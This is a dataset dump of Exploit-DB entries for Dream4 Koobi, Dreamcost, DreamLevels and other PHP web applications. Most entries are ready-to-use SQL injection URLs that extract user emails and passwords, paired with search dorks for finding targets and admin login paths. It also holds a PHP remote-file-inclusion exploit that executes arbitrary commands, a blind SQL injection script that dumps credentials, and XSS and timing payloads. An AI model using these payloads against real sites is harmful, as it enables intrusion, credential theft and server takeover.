deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5206
Description: Dream4 Koobi CMS 4.3.0 < 4.2.3 - 'categ' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-29
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+            Koobi CMS 4.3.0 - 4.2.3 (index.php categ) Remote SQL Injection         +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Koobi CMS 4.3.0 - 4.2.3
[~] HomePage: http://www.dream4.de/
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Exploit v4.3.0 - v4.2.4:

[~] Table: koobi4_user
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=[SQL]
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=-4+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploit v4.2.3:

[~] Table_ koobi_user
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=[SQL]
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=-4+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi_user/*


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-02-29]
Exploit-DB #28219
Description: Dream4 Koobi Pro 5.6 - 'showtopic' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-13
Author: Evampire chiristof

Exploit:
source: https://www.securityfocus.com/bid/18970/info
 
Koobi Pro prone to a cross-site scripting issue and an SQL-injection issue because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/index.php?showtopic=[SQL]
Exploit-DB #5198
Description: Dream4 Koobi Pro 5.7 - 'categ' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-28
Author: Cr@zy_King

Exploit:
+ Koobi Pro 5.7 index.php (categ) Remote Sql 횆째nj. Vuln

+ Cr@zy_King / crazy_kinq@hotmail.co.uk

+ Hack Bir Showdur. / Hackshow.us

+ Greatz : Eno7 & Crackers_Child & Thehacker & The_Bekir & Ghost61 & Tilkiandre & Edoras

+ Not : Alem G횄쨋t Olmu횇타 O G횄쨋tlerin Alay횆짹n횆짹 D횄쩌nya Alem Siksin.Ba횇타ta 2 Ki횇타i onlar

+ kendilerini biliolar

+ Koobi Pro 5.7 Down : http://rapidshare.com/files/20450299/KoobiPro57.rar.html

+ Page : /index.php?area=1&p=downloads&categ=Sql.

+ Sql : -1+union+select+1,concat(email,0x3a,pass),3+from+kpro_user/*

+ Erbay O 횇타imdi asker :D Vatan Size Emanet Karde횇타im Allah Yard횆짹mc횆짹n횆짹z oLsun.

# milw0rm.com [2008-02-28]
Exploit-DB #10751
Description: Dream4 Koobi Pro 6.1 Gallery - 'img_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-27
Author: BILGE_KAGAN

Exploit:
##########################################
#
# Koobi Pro v6.1 gallery (img_id)
#

##########################################
#
##AUTHOR : BILGE_KAGAN
#
####HOME : http://www.1923turk.biz
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=gallerypic img_id"

###########################################
EXPLOiT:

index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+kpro6_user


aDM&#65533;N PANEL&#65533;:

admin/login.php
Exploit-DB #5413
Description: Dream4 Koobi Pro 6.25 Gallery - 'galid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: S@BUN

Exploit:
##########################################
#
# Koobi Pro V6.25 gallery(galid)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: galid "index.php?p=gallerypic"
#
###########################################
EXPLOiT :

index.php?p=gallerypic&img_id=S@BUN&galid=-1+union+select+0,concat(email,0x3a,pass),2+from+kpro_user

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08]
Exploit-DB #5411
Description: Dream4 Koobi Pro 6.25 Links - 'categ' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: S@BUN

Exploit:
##########################################
#
# Koobi Pro 6.25 links(categ)
#
all version Koobi

##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?showlink"links
#
###########################################
EXPLOiT :

index.php?showlink=S@BUN&fid=S@BUN8&p=links&area=1&categ=-1+union+select+0,concat(email,0x3a,pass),2+from+kpro_user
admin login=admin/login.php

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08]
Exploit-DB #5448
Description: Dream4 Koobi Pro 6.25 Poll - 'poll_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-14
Author: S@BUN

Exploit:
##########################################
#
# Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
##WEBSiTE: http://www.xcorpitx-hack.com/Forum/
####BLOG : http://my.opera.com/SQL-Injection/blog/
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=poll"showresult
#
# DORK 2 : allinurl: poll_id "showresult"
#
###########################################
EXPLOiT :

index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user

*********************************************
WEBSiTE: http://www.xcorpitx-hack.com/Forum
*********************************************
********************S@BUN********************
*********************************************

# milw0rm.com [2008-04-14]
Exploit-DB #5412
Description: Dream4 Koobi Pro 6.25 Shop - 'categ' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: S@BUN

Exploit:
##########################################
#
# Koobi Pro 6.25 shop (categ)
#
all version Koobi

##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index php p shop"categ
#
###########################################
EXPLOiT :

index.php?p=shop&show=showdetail&fid=S@BUN&categ=-1+union+select+0,concat(email,0x3a,pass),2+from+kpro_user

admin login=admin/login.php

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08]
Exploit-DB #5414
Description: Dream4 Koobi Pro 6.25 Showimages - 'galid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: S@BUN

Exploit:
#########################################
#
# Koobi Pro V6.25 showimages (galid)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?area"galid
#
###########################################
EXPLOiT :

index.php?area=1&p=gallery&action=showimages&galid=-1+union+select+0,concat(email,0x3a,pass),2+from+kpro_user

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08]
Exploit-DB #1881
Description: DreamAccount 3.1 - 'da_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-05
Author: Aesthetico

Exploit:
Title: DreamAccount <= 3.1 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: dreamcost.com
URL: http://dreamcost.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "powered by DreamAccount"
-----------------------------------------------------------------

Exploitation:

/auth.cookie.inc.php?da_path=http://www.yourspace.com/yourscript.php?
/auth.header.inc.php?da_path=http://www.yourspace.com/yourscript.php?
/auth.sessions.inc.php?da_path=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-05]
Exploit-DB #27238
Description: Dreamcost HostAdmin 3.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-16
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/16682/info

HostAdmin is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

<?php
/*
HostAdmin Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN
*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
Exploit-DB #32453
Description: Dreamcost HostAdmin 3.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-02
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/31538/info

Dreamcost HostAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

HostAdmin 3.1.1 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?page=[XSS]
Exploit-DB #26814
Description: DreamLevels Dream Poll 3.0 - 'View_Results.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15849/info

Dream Poll is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/view_Results.php?id=[SQL]
Exploit-DB #11704
Description: dreamlive Auktionshaus script - 'news.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : dreamlive Auktionshaus script news.php (id) SQL Injection
+Autor : Easy Laster
+Date   : 12.03.2010
+Script  : dreamlive Auktionshaus script 
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://server/auktionshaus/news.php?id=
+Exploitable   : http://server/auktionshaus/news.php?id=999999+union+select+1,2,
concat(name,0x3a,password),4,5+from+users+where+id=1--
-----------------------------------------------------------------------------------------
Exploit-DB #6035
Description: DreamNews Manager - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-10
Author: Hussin X

Exploit:
#########################################################
#
#     dreamnews ( rss) Remote SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#=========================================================    
#
#    script :  http://dreamlevels.com/dreamnews.php
#
#    DorK   :  N/A
#     
##########################################################

Exploit: 

www.[target].com/Script/dreamnews-rss.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--


L!VE DEMO:

http://dreamlevels.com/demo/dreamnews/dreamnews-rss.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--


column_name :

user_password
user_login



Admin Login :

/admin/

########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-10]
Exploit-DB #9451
Description: DreamPics Builder - 'exhibition_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( index.php fuseaction )
##
## DREAMPICS BUILDER
##
## http://www.dreamlevels.com/dreampics.php
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/index.php?fuseaction=gallery.viewPhotos&exhibition_id=-0+union+select+0,0,CONCAT_WS(0x3a,user_name,user_password),0,0,+from+users--
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-18]
Exploit-DB #6034
Description: DreamPics Builder - 'page' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-09
Author: Hussin X

Exploit:
#########################################################
#
#     PICS BUILDER (page) SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#=========================================================    
#
#    script :  http://www.dreamlevels.com/dreampics.php
#
#    DorK   :   powered by Dreampics Builder
#     
##########################################################

Exploit: 

www.[target].com/Script/?page=-2+union+select+null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null+from+users--


L!VE DEMO:

http://www.dreamlevels.com/demo/photosite/?page=-2+union+select+null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null+from+users--


Admin Login :

/admin/

########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-09]
Exploit-DB #7968
Description: DreamPics Photo/Video Gallery - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-02-03
Author: Mehmet Ince

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                DREAMPICS Photo/Video Gallery Blind SQL Injection Exploit
#
#                      ---->>>> xoron <<<<<-----
#                           xorontr@gmail.com
#                            XORON (c) 2009
#
#  WARNING!: php xoron.php "http://www.xoronk1ng./[PATH]/index.php?fuseaction=gallery.viewPhotos&exhibition_id=13"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_login+from+users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_login+from+users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_login+from+users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_password+from+users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_password+from+users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>

# milw0rm.com [2009-02-03]
Exploit-DB #10006
Description: DreamPoll 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-10-08
Author: Mark from infosecstuff

Exploit:
During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows:

XSS

????????-

File: index.php

Variable: recordsPerPage

Example: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=
1>?><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt>

Blind SQL/Xpath Injection

????????-

File: index.php

Variable: sortField

Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc
=1&recordsPerPage=20

Blind SQL Injection (Timing)

????????-

File: index.php

Variables: sortField, sortDesc, pageNumber

Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1
&recordsPerPage=20

While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well. The vendor was notified on 09/28/2009 and a fix was released the same day. If you are a current user of this software, contact the vendor for the available fix.

http://www.infosecstuff.com